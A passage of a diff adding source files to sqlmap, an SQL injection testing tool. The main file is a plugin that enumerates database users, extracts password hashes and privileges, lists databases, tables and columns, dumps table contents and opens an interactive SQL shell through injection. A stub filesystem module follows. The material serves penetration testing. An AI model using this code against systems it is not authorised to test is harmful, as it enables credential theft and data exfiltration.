+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.agent import agent
+from lib.core.common import getRange
+from lib.core.common import parsePasswordHash
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapMissingMandatoryOptionException
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.exception import sqlmapUndefinedMethod
+from lib.core.exception import sqlmapUnsupportedFeatureException
+from lib.core.settings import MYSQL_SYSTEM_DBS
+from lib.core.settings import PGSQL_SYSTEM_DBS
+from lib.core.settings import ORACLE_SYSTEM_DBS
+from lib.core.settings import MSSQL_SYSTEM_DBS
+from lib.core.shell import autoCompletion
+from lib.request import inject
+from lib.request.connect import Connect as Request
+
+
+class Enumeration:
+ """
+ This class defines generic enumeration functionalities for plugins.
+
+ """
+
+ def __init__(self, dbms):
+ self.has_information_schema = None
+
+ self.banner = ""
+ self.currentUser = ""
+ self.currentDb = ""
+ self.cachedUsers = []
+ self.cachedUsersPassword = {}
+ self.cachedUsersPrivileges = {}
+ self.cachedDbs = []
+ self.cachedTables = {}
+ self.cachedColumns = {}
+ self.dumpedTable = {}
+
+ temp.inference = queries[dbms].inference
+
+ if dbms == "MySQL":
+ self.excludeDbsList = MYSQL_SYSTEM_DBS
+ elif dbms == "PostgreSQL":
+ self.excludeDbsList = PGSQL_SYSTEM_DBS
+ elif dbms == "Oracle":
+ self.excludeDbsList = ORACLE_SYSTEM_DBS
+ elif dbms == "Microsoft SQL Server":
+ self.excludeDbsList = MSSQL_SYSTEM_DBS
+
+
+ def getBanner(self):
+ logMsg = "fetching banner"
+ logger.info(logMsg)
+
+ query = queries[kb.dbms].banner
+
+ if not self.banner:
+ self.banner = inject.getValue(query)
+
+ return self.banner
+
+
+ def getCurrentUser(self):
+ logMsg = "fetching current user"
+ logger.info(logMsg)
+
+ query = queries[kb.dbms].currentUser
+
+ if not self.currentUser:
+ self.currentUser = inject.getValue(query)
+
+ return self.currentUser
+
+
+ def getCurrentDb(self):
+ logMsg = "fetching current database"
+ logger.info(logMsg)
+
+ query = queries[kb.dbms].currentDb
+
+ if not self.currentDb:
+ self.currentDb = inject.getValue(query)
+
+ return self.currentDb
+
+
+ def getUsers(self):
+ logMsg = "fetching database users"
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].users
+
+ condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
+ condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
+
+ if conf.unionUse:
+ if condition:
+ query = rootQuery["inband"]["query2"]
+ else:
+ query = rootQuery["inband"]["query"]
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ self.cachedUsers = value
+
+ if not self.cachedUsers:
+ logMsg = "fetching number of database users"
+ logger.info(logMsg)
+
+ if condition:
+ query = rootQuery["blind"]["count2"]
+ else:
+ query = rootQuery["blind"]["count"]
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ errMsg = "unable to retrieve the number of database users"
+ raise sqlmapNoneDataException, errMsg
+
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ if condition:
+ query = rootQuery["blind"]["query2"] % index
+ else:
+ query = rootQuery["blind"]["query"] % index
+ user = inject.getValue(query, inband=False)
+
+ if user:
+ self.cachedUsers.append(user)
+
+ if not self.cachedUsers:
+ errMsg = "unable to retrieve the database users"
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedUsers
+
+
+ def getPasswordHashes(self):
+ logMsg = "fetching database users password hashes"
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].passwords
+
+ if conf.unionUse:
+ if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
+ query = rootQuery["inband"]["query2"]
+ else:
+ query = rootQuery["inband"]["query"]
+
+ condition = rootQuery["inband"]["condition"]
+
+ if conf.user:
+ if "," in conf.user:
+ users = conf.user.split(",")
+ query += " WHERE "
+ query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
+ else:
+ query += " WHERE %s = '%s'" % (condition, conf.user)
+
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ for user, password in value:
+ if not user or user == " ":
+ continue
+
+ password = parsePasswordHash(password)
+
+ if not self.cachedUsersPassword.has_key(user):
+ self.cachedUsersPassword[user] = [password]
+ else:
+ self.cachedUsersPassword[user].append(password)
+
+ if not self.cachedUsersPassword:
+ if conf.user:
+ if "," in conf.user:
+ users = conf.user.split(",")
+ else:
+ users = [conf.user]
+ else:
+ if not len(self.cachedUsers):
+ users = self.getUsers()
+ else:
+ users = self.cachedUsers
+
+ retrievedUsers = set()
+
+ for user in users:
+ if kb.dbms == "MySQL":
+ parsedUser = re.search("\047(.*?)\047@'", user)
+
+ if parsedUser:
+ user = parsedUser.groups()[0]
+
+ if user in retrievedUsers:
+ continue
+
+ logMsg = "fetching number of password hashes "
+ logMsg += "for user '%s'" % user
+ logger.info(logMsg)
+
+ if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
+ query = rootQuery["blind"]["count2"] % user
+ else:
+ query = rootQuery["blind"]["count"] % user
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ warnMsg = "unable to retrieve the number of password "
+ warnMsg += "hashes for user '%s'" % user
+ logger.warn(warnMsg)
+ continue
+
+ logMsg = "fetching password hashes for user '%s'" % user
+ logger.info(logMsg)
+
+ passwords = []
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ if kb.dbms == "Microsoft SQL Server":
+ if kb.dbmsVersion[0] in ( "2005", "2008" ):
+ query = rootQuery["blind"]["query2"] % (user, index, user)
+ else:
+ query = rootQuery["blind"]["query"] % (user, index, user)
+ else:
+ query = rootQuery["blind"]["query"] % (user, index)
+ password = inject.getValue(query, inband=False)
+ password = parsePasswordHash(password)
+ passwords.append(password)
+
+ if passwords:
+ self.cachedUsersPassword[user] = passwords
+ else:
+ warnMsg = "unable to retrieve the password "
+ warnMsg += "hashes for user '%s'" % user
+ logger.warn(warnMsg)
+
+ retrievedUsers.add(user)
+
+ if not self.cachedUsersPassword:
+ errMsg = "unable to retrieve the password "
+ errMsg += "hashes for the database users"
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedUsersPassword
+
+
+ def __isAdminFromPrivileges(self, privileges):
+ # In PostgreSQL the usesuper privilege means that the
+ # user is DBA
+ dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges )
+
+ # In Oracle the DBA privilege means that the
+ # user is DBA
+ dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges )
+
+ # In MySQL >= 5.0 the SUPER privilege means
+ # that the user is DBA
+ dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges )
+
+ # In MySQL < 5.0 the super_priv privilege means
+ # that the user is DBA
+ dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges )
+
+ return dbaCondition
+
+
+ def getPrivileges(self):
+ logMsg = "fetching database users privileges"
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].privileges
+
+ # Set containing the list of DBMS administrators
+ areAdmins = set()
+
+ mysqlPrivs = (
+ ( 1, "select_priv" ),
+ ( 2, "insert_priv" ),
+ ( 3, "update_priv" ),
+ ( 4, "delete_priv" ),
+ ( 5, "create_priv" ),
+ ( 6, "drop_priv" ),
+ ( 7, "reload_priv" ),
+ ( 8, "shutdown_priv" ),
+ ( 9, "process_priv" ),
+ ( 10, "file_priv" ),
+ ( 11, "grant_priv" ),
+ ( 12, "references_priv" ),
+ ( 13, "index_priv" ),
+ ( 14, "alter_priv" ),
+ ( 15, "show_db_priv" ),
+ ( 16, "super_priv" ),
+ ( 17, "create_tmp_table_priv" ),
+ ( 18, "lock_tables_priv" ),
+ ( 19, "execute_priv" ),
+ ( 20, "repl_slave_priv" ),
+ ( 21, "repl_client_priv" ),
+ ( 22, "create_view_priv" ),
+ ( 23, "show_view_priv" ),
+ ( 24, "create_routine_priv" ),
+ ( 25, "alter_routine_priv" ),
+ ( 26, "create_user_priv" ),
+ )
+
+ pgsqlPrivs = (
+ ( 1, "createdb" ),
+ ( 2, "super" ),
+ ( 3, "catupd" ),
+ )
+
+ if conf.unionUse:
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["inband"]["query2"]
+ condition = rootQuery["inband"]["condition2"]
+ else:
+ query = rootQuery["inband"]["query"]
+ condition = rootQuery["inband"]["condition"]
+
+ if conf.user:
+ if "," in conf.user:
+ users = conf.user.split(",")
+ query += " WHERE "
+ # NOTE: we need this here only for MySQL 5.0 because
+ # of a known issue explained in queries.xml
+ if kb.dbms == "MySQL" and self.has_information_schema:
+ likeUser = "%" + conf.user + "%"
+ query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
+ else:
+ query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
+ else:
+ # NOTE: we need this here only for MySQL 5.0 because
+ # of a known issue explained in queries.xml
+ if kb.dbms == "MySQL" and self.has_information_schema:
+ likeUser = "%" + conf.user + "%"
+ query += " WHERE %s LIKE '%s'" % (condition, likeUser)
+ else:
+ query += " WHERE %s = '%s'" % (condition, conf.user)
+
+ values = inject.getValue(query, blind=False)
+
+ if values:
+ for value in values:
+ user = None
+ privileges = set()
+
+ for count in xrange(0, len(value)):
+ # The first column is always the username
+ if count == 0:
+ user = value[count]
+
+ # The other columns are the privileges
+ else:
+ privilege = value[count]
+
+ # In PostgreSQL we get 1 if the privilege is
+ # True, 0 otherwise
+ if kb.dbms == "PostgreSQL" and privilege.isdigit():
+ for position, pgsqlPriv in pgsqlPrivs:
+ if count == position and int(privilege) == 1:
+ privileges.add(pgsqlPriv)
+
+ # In MySQL >= 5.0 and Oracle we get the list
+ # of privileges as string
+ elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
+ privileges.add(privilege)
+
+ # In MySQL < 5.0 we get Y if the privilege is
+ # True, N otherwise
+ elif kb.dbms == "MySQL" and not self.has_information_schema:
+ for position, mysqlPriv in mysqlPrivs:
+ if count == position and privilege.upper() == "Y":
+ privileges.add(mysqlPriv)
+
+ if self.__isAdminFromPrivileges(privileges):
+ areAdmins.add(user)
+
+ if self.cachedUsersPrivileges.has_key(user):
+ self.cachedUsersPrivileges[user].extend(privileges)
+ else:
+ self.cachedUsersPrivileges[user] = list(privileges)
+
+ if not self.cachedUsersPrivileges:
+ if conf.user:
+ if "," in conf.user:
+ users = conf.user.split(",")
+ else:
+ users = [conf.user]
+ else:
+ if not len(self.cachedUsers):
+ users = self.getUsers()
+ else:
+ users = self.cachedUsers
+
+ retrievedUsers = set()
+
+ for user in users:
+ if kb.dbms == "MySQL":
+ parsedUser = re.search("\047(.*?)\047@'", user)
+
+ if parsedUser:
+ user = parsedUser.groups()[0].replace("'", "")
+
+ if user in retrievedUsers:
+ continue
+
+ logMsg = "fetching number of privileges "
+ logMsg += "for user '%s'" % user
+ logger.info(logMsg)
+
+ if kb.dbms == "MySQL" and self.has_information_schema:
+ likeUser = "%" + user + "%"
+ else:
+ likeUser = user
+
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["blind"]["count2"] % likeUser
+ else:
+ query = rootQuery["blind"]["count"] % likeUser
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ warnMsg = "unable to retrieve the number of "
+ warnMsg += "privileges for user '%s'" % likeUser
+ logger.warn(warnMsg)
+ continue
+
+ logMsg = "fetching privileges for user '%s'" % likeUser
+ logger.info(logMsg)
+
+ privileges = set()
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["blind"]["query2"] % (likeUser, index)
+ else:
+ query = rootQuery["blind"]["query"] % (likeUser, index)
+ privilege = inject.getValue(query, inband=False)
+
+ # In PostgreSQL we return 1 if the privilege
+ # if True, otherwise 0
+ if kb.dbms == "PostgreSQL" and ", " in privilege:
+ privilege = privilege.replace(", ", ",")
+ privs = privilege.split(",")
+ i = 1
+
+ for priv in privs:
+ if priv.isdigit() and int(priv) == 1:
+ for position, pgsqlPriv in pgsqlPrivs:
+ if position == i:
+ privileges.add(pgsqlPriv)
+
+ i += 1
+
+ # In MySQL >= 5.0 and Oracle we get the list
+ # of privileges as string
+ elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
+ privileges.add(privilege)
+
+ # In MySQL < 5.0 we get Y if the privilege is
+ # True, N otherwise
+ elif kb.dbms == "MySQL" and not self.has_information_schema:
+ privilege = privilege.replace(", ", ",")
+ privs = privilege.split(",")
+ i = 1
+
+ for priv in privs:
+ if priv.upper() == "Y":
+ for position, mysqlPriv in mysqlPrivs:
+ if position == i:
+ privileges.add(mysqlPriv)
+
+ i += 1
+
+ if self.__isAdminFromPrivileges(privileges):
+ areAdmins.add(user)
+
+ if privileges:
+ self.cachedUsersPrivileges[user] = list(privileges)
+ else:
+ warnMsg = "unable to retrieve the privileges "
+ warnMsg += "for user '%s'" % user
+ logger.warn(warnMsg)
+
+ retrievedUsers.add(user)
+
+ if not self.cachedUsersPrivileges:
+ errMsg = "unable to retrieve the privileges "
+ errMsg += "for the database users"
+ raise sqlmapNoneDataException, errMsg
+
+ return ( self.cachedUsersPrivileges, areAdmins )
+
+
+ def getDbs(self):
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ warnMsg = "information_schema not available, "
+ warnMsg += "back-end DBMS is MySQL < 5. database "
+ warnMsg += "names will be fetched from 'mysql' table"
+ logger.warn(warnMsg)
+
+ logMsg = "fetching database names"
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].dbs
+
+ if conf.unionUse:
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["inband"]["query2"]
+ else:
+ query = rootQuery["inband"]["query"]
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ self.cachedDbs = value
+
+ if not self.cachedDbs:
+ logMsg = "fetching number of databases"
+ logger.info(logMsg)
+
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["blind"]["count2"]
+ else:
+ query = rootQuery["blind"]["count"]
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ errMsg = "unable to retrieve the number of databases"
+ raise sqlmapNoneDataException, errMsg
+
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ query = rootQuery["blind"]["query2"] % index
+ else:
+ query = rootQuery["blind"]["query"] % index
+ db = inject.getValue(query, inband=False)
+
+ if db:
+ self.cachedDbs.append(db)
+
+ if not self.cachedDbs:
+ errMsg = "unable to retrieve the database names"
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedDbs
+
+
+ def getTables(self):
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ errMsg = "information_schema not available, "
+ errMsg += "back-end DBMS is MySQL < 5.0"
+ raise sqlmapUnsupportedFeatureException, errMsg
+
+ if kb.dbms == "Oracle":
+ if conf.db:
+ conf.db = conf.db.upper()
+ else:
+ conf.db = "USERS"
+
+ warnMsg = "on Oracle it is only possible to enumerate "
+ warnMsg += "tables if you provide a TABLESPACE_NAME as "
+ warnMsg += "database name. sqlmap is going to use "
+ warnMsg += "'USERS' to retrieve all tables owned by an "
+ warnMsg += "Oracle database management system user"
+ logger.warn(warnMsg)
+
+ logMsg = "fetching tables"
+ if conf.db:
+ logMsg += " for database '%s'" % conf.db
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].tables
+
+ if conf.unionUse:
+ query = rootQuery["inband"]["query"]
+ condition = rootQuery["inband"]["condition"]
+
+ if conf.db:
+ if "," in conf.db:
+ dbs = conf.db.split(",")
+ query += " WHERE "
+ query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
+ else:
+ query += " WHERE %s='%s'" % (condition, conf.db)
+ elif conf.excludeSysDbs:
+ query += " WHERE "
+ query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
+ logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
+ logger.info(logMsg)
+
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ for db, table in value:
+ if not self.cachedTables.has_key(db):
+ self.cachedTables[db] = [table]
+ else:
+ self.cachedTables[db].append(table)
+
+ if not self.cachedTables:
+ if conf.db:
+ if "," in conf.db:
+ dbs = conf.db.split(",")
+ else:
+ dbs = [conf.db]
+ else:
+ if not len(self.cachedDbs):
+ dbs = self.getDbs()
+ else:
+ dbs = self.cachedDbs
+
+ for db in dbs:
+ if conf.excludeSysDbs and db in self.excludeDbsList:
+ logMsg = "skipping system database '%s'" % db
+ logger.info(logMsg)
+
+ continue
+
+ logMsg = "fetching number of tables for "
+ logMsg += "database '%s'" % db
+ logger.info(logMsg)
+
+ query = rootQuery["blind"]["count"] % db
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ warnMsg = "unable to retrieve the number of "
+ warnMsg += "tables for database '%s'" % db
+ logger.warn(warnMsg)
+ continue
+
+ tables = []
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ query = rootQuery["blind"]["query"] % (db, index)
+ table = inject.getValue(query, inband=False)
+ tables.append(table)
+
+ if tables:
+ self.cachedTables[db] = tables
+ else:
+ warnMsg = "unable to retrieve the tables "
+ warnMsg += "for database '%s'" % db
+ logger.warn(warnMsg)
+
+ if not self.cachedTables:
+ errMsg = "unable to retrieve the tables for any database"
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedTables
+
+
+ def getColumns(self, onlyColNames=False):
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ errMsg = "information_schema not available, "
+ errMsg += "back-end DBMS is MySQL < 5.0"
+ raise sqlmapUnsupportedFeatureException, errMsg
+
+ if not conf.tbl:
+ errMsg = "missing table parameter"
+ raise sqlmapMissingMandatoryOptionException, errMsg
+
+ if "." in conf.tbl:
+ conf.db, conf.tbl = conf.tbl.split(".")
+
+ if not conf.db:
+ errMsg = "missing database parameter"
+
+ if kb.dbms == "PostgreSQL":
+ conf.db = "public"
+
+ errMsg += ", sqlmap is going to use 'public' schema"
+ logger.warn(errMsg)
+ else:
+ raise sqlmapMissingMandatoryOptionException, errMsg
+
+ logMsg = "fetching columns "
+ logMsg += "for table '%s' " % conf.tbl
+ logMsg += "on database '%s'" % conf.db
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].columns
+
+ if kb.dbms == "Oracle":
+ conf.db = conf.db.upper()
+ conf.tbl = conf.tbl.upper()
+
+ if conf.unionUse:
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
+ elif kb.dbms == "Oracle":
+ query = rootQuery["inband"]["query"] % conf.tbl.upper()
+ elif kb.dbms == "Microsoft SQL Server":
+ query = rootQuery["inband"]["query"] % (conf.db, conf.db,
+ conf.db, conf.db,
+ conf.db, conf.db,
+ conf.db, conf.tbl)
+
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ table = {}
+ columns = {}
+ for column, colType in value:
+ columns[column] = colType
+ table[conf.tbl] = columns
+ self.cachedColumns[conf.db] = table
+
+ if not self.cachedColumns:
+ logMsg = "fetching number of columns "
+ logMsg += "for table '%s'" % conf.tbl
+ logMsg += " on database '%s'" % conf.db
+ logger.info(logMsg)
+
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
+ elif kb.dbms == "Oracle":
+ query = rootQuery["blind"]["count"] % conf.tbl.upper()
+ elif kb.dbms == "Microsoft SQL Server":
+ query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
+
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ errMsg = "unable to retrieve the number of columns "
+ errMsg += "for table '%s' " % conf.tbl
+ errMsg += "on database '%s'" % conf.db
+ raise sqlmapNoneDataException, errMsg
+
+ table = {}
+ columns = {}
+ indexRange = getRange(count)
+
+ for index in indexRange:
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
+ elif kb.dbms == "Oracle":
+ query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
+ elif kb.dbms == "Microsoft SQL Server":
+ query = rootQuery["blind"]["query"] % (index, conf.db,
+ conf.db, conf.tbl)
+
+ column = inject.getValue(query, inband=False)
+
+ if not onlyColNames:
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db)
+ elif kb.dbms == "Oracle":
+ query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column)
+ elif kb.dbms == "Microsoft SQL Server":
+ query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
+ conf.db, column, conf.db,
+ conf.db, conf.db, conf.tbl)
+
+ colType = inject.getValue(query, inband=False)
+ columns[column] = colType
+ else:
+ columns[column] = None
+
+ if columns:
+ table[conf.tbl] = columns
+ self.cachedColumns[conf.db] = table
+
+ if not self.cachedColumns:
+ errMsg = "unable to retrieve the columns "
+ errMsg += "for table '%s' " % conf.tbl
+ errMsg += "on database '%s'" % conf.db
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedColumns
+
+
+ def dumpTable(self):
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ errMsg = "information_schema not available, "
+ errMsg += "back-end DBMS is MySQL < 5.0"
+ raise sqlmapUnsupportedFeatureException, errMsg
+
+ if not conf.tbl:
+ errMsg = "missing table parameter"
+ raise sqlmapMissingMandatoryOptionException, errMsg
+
+ if "." in conf.tbl:
+ conf.db, conf.tbl = conf.tbl.split(".")
+
+ if not conf.db:
+ errMsg = "missing database parameter"
+
+ if kb.dbms == "PostgreSQL":
+ conf.db = "public"
+
+ errMsg += ", sqlmap is going to use 'public' schema"
+ logger.warn(errMsg)
+ else:
+ raise sqlmapMissingMandatoryOptionException, errMsg
+
+ if kb.dbms == "Oracle":
+ conf.db = conf.db.upper()
+ conf.tbl = conf.tbl.upper()
+
+ rootQuery = queries[kb.dbms].dumpTable
+
+ logMsg = "fetching"
+ if conf.col:
+ colList = conf.col.split(",")
+ colString = ", ".join(column for column in colList)
+ logMsg += " columns '%s'" % colString
+ logMsg += " entries for table '%s'" % conf.tbl
+ logMsg += " on database '%s'" % conf.db
+ logger.info(logMsg)
+
+ if conf.col:
+ self.cachedColumns[conf.db] = {}
+ self.cachedColumns[conf.db][conf.tbl] = {}
+ for column in colList:
+ self.cachedColumns[conf.db][conf.tbl][column] = None
+ elif not self.cachedColumns:
+ self.cachedColumns = self.getColumns(onlyColNames=True)
+
+ colList = self.cachedColumns[conf.db][conf.tbl].keys()
+ colList.sort(key=lambda x: x.lower())
+ colString = ", ".join(column for column in colList)
+
+ if conf.unionUse:
+ if kb.dbms == "Oracle":
+ query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
+ else:
+ query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
+ entries = inject.getValue(query, blind=False)
+
+ if entries:
+ entriesCount = len(entries)
+ index = 0
+
+ for column in colList:
+ colLen = len(column)
+
+ if not self.dumpedTable.has_key(column):
+ self.dumpedTable[column] = { "length": 0, "values": [] }
+
+ for entry in entries:
+ if isinstance(entry, str):
+ colEntry = entry
+ else:
+ colEntry = entry[index]
+
+ colEntryLen = len(colEntry)
+ maxLen = max(colLen, colEntryLen)
+
+ if maxLen > self.dumpedTable[column]["length"]:
+ self.dumpedTable[column]["length"] = maxLen
+
+ self.dumpedTable[column]["values"].append(colEntry)
+
+ index += 1
+
+ if not self.dumpedTable:
+ if conf.unionUse:
+ warnMsg = "unable to retrieve the "
+ if conf.col:
+ warnMsg += "columns '%s' " % colString
+ warnMsg += "entries for table '%s' " % conf.tbl
+ warnMsg += "on database '%s'" % conf.db
+ warnMsg += " through UNION query SQL injection, "
+ warnMsg += "probably because it has no entries, going "
+ warnMsg += "blind to confirm"
+ logger.warn(warnMsg)
+
+ logMsg = "fetching number of "
+ if conf.col:
+ logMsg += "columns '%s' " % colString
+ logMsg += "entries for table '%s' " % conf.tbl
+ logMsg += "on database '%s'" % conf.db
+ logger.info(logMsg)
+
+ if kb.dbms == "Oracle":
+ query = rootQuery["blind"]["count"] % conf.tbl.upper()
+ else:
+ query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ errMsg = "unable to retrieve the number of "
+ if conf.col:
+ errMsg += "columns '%s' " % colString
+ errMsg += "entries for table '%s' " % conf.tbl
+ errMsg += "on database '%s'" % conf.db
+
+ if conf.dumpAll:
+ logger.warn(errMsg)
+ return self.dumpedTable
+ else:
+ raise sqlmapNoneDataException, errMsg
+
+ lengths = {}
+ entries = {}
+ indexRange = getRange(count, True)
+
+ for index in indexRange:
+ for column in colList:
+ if column not in lengths:
+ lengths[column] = 0
+
+ if column not in entries:
+ entries[column] = []
+
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ query = rootQuery["blind"]["query"] % (column, conf.db,
+ conf.tbl, colList[0],
+ index)
+ elif kb.dbms == "Oracle":
+ query = rootQuery["blind"]["query"] % (column, column,
+ conf.tbl.upper(),
+ colList[0], index)
+ elif kb.dbms == "Microsoft SQL Server":
+ query = rootQuery["blind"]["query"] % (column, conf.db,
+ conf.tbl, column,
+ index, column,
+ conf.db, conf.tbl,
+ colList[0], colList[0])
+
+ value = inject.getValue(query, inband=False)
+
+ lengths[column] = max(lengths[column], len(value))
+ entries[column].append(value)
+
+ for column, columnEntries in entries.items():
+ if lengths[column] < len(column):
+ length = len(column)
+ else:
+ length = lengths[column]
+
+ self.dumpedTable[column] = {
+ "length": length,
+ "values": columnEntries,
+ }
+
+ entriesCount = len(columnEntries)
+
+ if self.dumpedTable:
+ self.dumpedTable["__infos__"] = {
+ "count": entriesCount,
+ "table": conf.tbl,
+ "db": conf.db
+ }
+ else:
+ errMsg = "unable to retrieve the entries of "
+ if conf.col:
+ errMsg += "columns '%s' " % colString
+ errMsg += "for table '%s' " % conf.tbl
+ errMsg += "on database '%s'" % conf.db
+
+ if conf.dumpAll:
+ logger.warn(errMsg)
+ return self.dumpedTable
+ else:
+ raise sqlmapNoneDataException, errMsg
+
+ return self.dumpedTable
+
+
+ def dumpAll(self):
+ if kb.dbms == "MySQL" and not self.has_information_schema:
+ errMsg = "information_schema not available, "
+ errMsg += "back-end DBMS is MySQL < 5.0"
+ raise sqlmapUnsupportedFeatureException, errMsg
+
+ conf.db = None
+ conf.tbl = None
+ conf.col = None
+ self.cachedDbs = []
+ self.cachedTables = self.getTables()
+
+ for db, tables in self.cachedTables.items():
+ conf.db = db
+
+ for table in tables:
+ conf.tbl = table
+ self.cachedColumns = {}
+ self.dumpedTable = {}
+
+ data = self.dumpTable()
+
+ if data:
+ dumper.dbTableValues(data)
+
+
+ def sqlQuery(self, query):
+ logMsg = "fetching SQL SELECT query output: '%s'" % query
+ logger.info(logMsg)
+
+ if query.startswith("select "):
+ query = query.replace("select ", "SELECT ", 1)
+
+ if " from " in query:
+ query = query.replace(" from ", " FROM ")
+
+ output = inject.getValue(query, fromUser=True)
+
+ if output == "Quit":
+ return None
+ else:
+ return output
+
+
+ def sqlShell(self):
+ logMsg = "calling %s shell. To quit type " % kb.dbms
+ logMsg += "'x' or 'q' and press ENTER"
+ logger.info(logMsg)
+
+ autoCompletion(sqlShell=True)
+
+ while True:
+ query = None
+
+ try:
+ query = raw_input("sql> ")
+ except KeyboardInterrupt:
+ print
+ errMsg = "user aborted"
+ logger.error(errMsg)
+ except EOFError:
+ print
+ errMsg = "exit"
+ logger.error(errMsg)
+ break
+
+ if not query:
+ continue
+
+ if query.lower() in ( "x", "q", "exit", "quit" ):
+ break
+
+ output = self.sqlQuery(query)
+
+ if output and output != "Quit":
+ dumper.string(query, output)
+ elif output != "Quit":
+ print "No output"
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
new file mode 100644
index 000000000..8f23d0506
--- /dev/null
+++ b/plugins/generic/filesystem.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+
+"""
+$Id: filesystem.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.exception import sqlmapUnsupportedFeatureException
+
+
+class Filesystem:
+ """
+ This class defines generic OS file system functionalities for plugins.
+ """
+
+ def readFile(self, rFile):
+ errMsg = "this plugin does not support OS file reading yet"
+ raise sqlmapUnsupportedFeatureException, errMsg
+
